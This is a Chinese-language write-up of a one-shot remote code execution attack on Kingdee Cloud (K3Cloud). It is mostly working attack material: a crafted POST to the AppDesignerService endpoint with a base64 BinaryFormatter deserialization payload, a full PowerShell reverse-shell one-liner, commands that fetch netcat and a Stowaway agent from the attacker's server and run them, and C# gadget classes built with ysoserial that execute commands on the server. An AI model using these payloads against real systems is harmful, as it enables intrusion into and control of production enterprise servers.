poc一把梭rce

口子不用特意找，正常抓金蝶云的都有

然后就是直接一把梭

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner.AppDesignerService.RecordCurDevCodeInfo.common.kdsvc HTTP/1.1
Host: 
cmd: whoami
Content-Type: application/json
Content-Length: 15651

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CwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVi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尝试反弹shell

powershell直接弹

试试能不能直接powershell弹

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

太简单粗暴了意思是

nc弹

先搞个nc吧，没文件，下载一个

1	wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip

开个python服务器，然后执行命令让目标下载一下，先看看路径

算了，还是用临时文件的

1	icacls %WINDIR%\Temp

啥都没，没权限读这里的acl，唉nt authority\network service还是权限太低了
那试试当前目录的吧

icacls .

NT AUTHORITY\SYSTEM:(M) → 可写（NETWORK SERVICE通常是SYSTEM组成员）
盲猜是这个组的吧，下载测试一下

1	powershell -c "Invoke-WebRequest -Uri 'http://Ubuntu_IP:8080/nc.exe' -OutFile 'C:\windows\system32\inetsrv\nc.exe'"

有请求，看看文件是否存在，ok被杀掉了

也可能不可写，还是试试临时文件目录C:\Windows\Temp

1	powershell -c "Invoke-WebRequest -Uri 'http://Ubuntu_IP:8080/nc.exe' -OutFile 'C:\Windows\Temp\a.exe'"

传上去了C:\Windows\Temp\a.exe

1	C:\Windows\Temp\a.exe ip port -e cmd.exe

没反应

再一看,，被杀了

感觉有操作空间的，因为确实能传

1	powershell -c "Invoke-WebRequest -Uri 'http://Ubuntu_IP:8080/nc.exe' -OutFile 'C:\Windows\Temp\a.exe'"

1	C:\Windows\Temp\a.exe ip 404 -e cmd.exe

唉还是失败，下载，然后确认文件存在都实现了，执行弹shell失败了，我的思路感觉是没问题的，但实在不会了，摇了大哥同事过来看看
大哥说既然能我传上去，dir还能看到，说明文件传上去，但被删了，应该还是路径问题，然后别找主机的临时文件目录，找下网站的上传文件存放目录这种的
但是后来尝试都失败，大哥说可以重写反序列化数据

重写反序列化数据

先构造个a.cs

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

然后构造反序列化数据

1	.\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

以上就是原poc的
到这，
接下来重写，不接收参数了，直接把命令写在里面，然后构造反序列化数据，发送数据rce
下文件之前用的命令是

1	Invoke-WebRequest -Uri 'http://xxxxxxx:8080/nc.exe' -OutFile 'C:\windows\Logs\WindowsServerBackup\a.exe'

后来大哥改了一下，多个输出，看的更舒服，然后路径也帮我换了一下

1	Invoke-WebRequest -Uri 'http://xx.xx.xx.xx:8080/windows_x64_agent.exe' -OutFile (Join-Path $env:USERPROFILE 'Downloads\\a123.exe')

直接改写到文件里面去

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "powershell";
            process.StartInfo.Arguments = "Invoke-WebRequest -Uri 'http://xxxxxxxxx:8080/nc64.exe' -OutFile (Join-Path $env:USERPROFILE 'Downloads\\a123.exe')";
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

然后找文件

1	dir C:\a123.exe /s /b

1	C:\Windows\ServiceProfiles\NetworkService\Downloads\a123.exe

然后nc弹（因为我传的是nc）

之前传不上，推测是因为设置了个cmd参数，敏感的命令被拦了

Stowaway工具弹shell

后来指导说可以用Stowaway来试试，这个还能保存成txt文件来使用，更好用
这个工具分为admin端（渗透测试者使用的主控端）和agent端（渗透测试者部署的被控端）
传个上去试试

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "powershell";
            process.StartInfo.Arguments = "Invoke-WebRequest -Uri 'http://xxxxxxxxx:8080/windows_x64_agent.exe' -OutFile (Join-Path $env:USERPROFILE 'Downloads\\a321.txt')";
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

但是不知道为什么我这里翻车了

1	C:\Windows\ServiceProfiles\NetworkService\Downloads\a321.txt -c ip:404

弹shell也用直接构造数据的方式试试

using System;
using System.Web;
using System.Diagnostics;
class E
{
    public E()
    {
        HttpContext context = HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            using (var process = new Process())
            {
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.Arguments =
                    "/c \"C:\\Windows\\ServiceProfiles\\NetworkService\\Downloads\\agent.txt\" -c xxxxxxxxxxx:404";
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.UseShellExecute = false;
                process.Start();
                string output = process.StandardOutput.ReadToEnd();
                string error = process.StandardError.ReadToEnd();
                if (!string.IsNullOrEmpty(output))
                    context.Response.Write(output);
                if (!string.IsNullOrEmpty(error))
                    context.Response.Write(error);
            }
        }catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}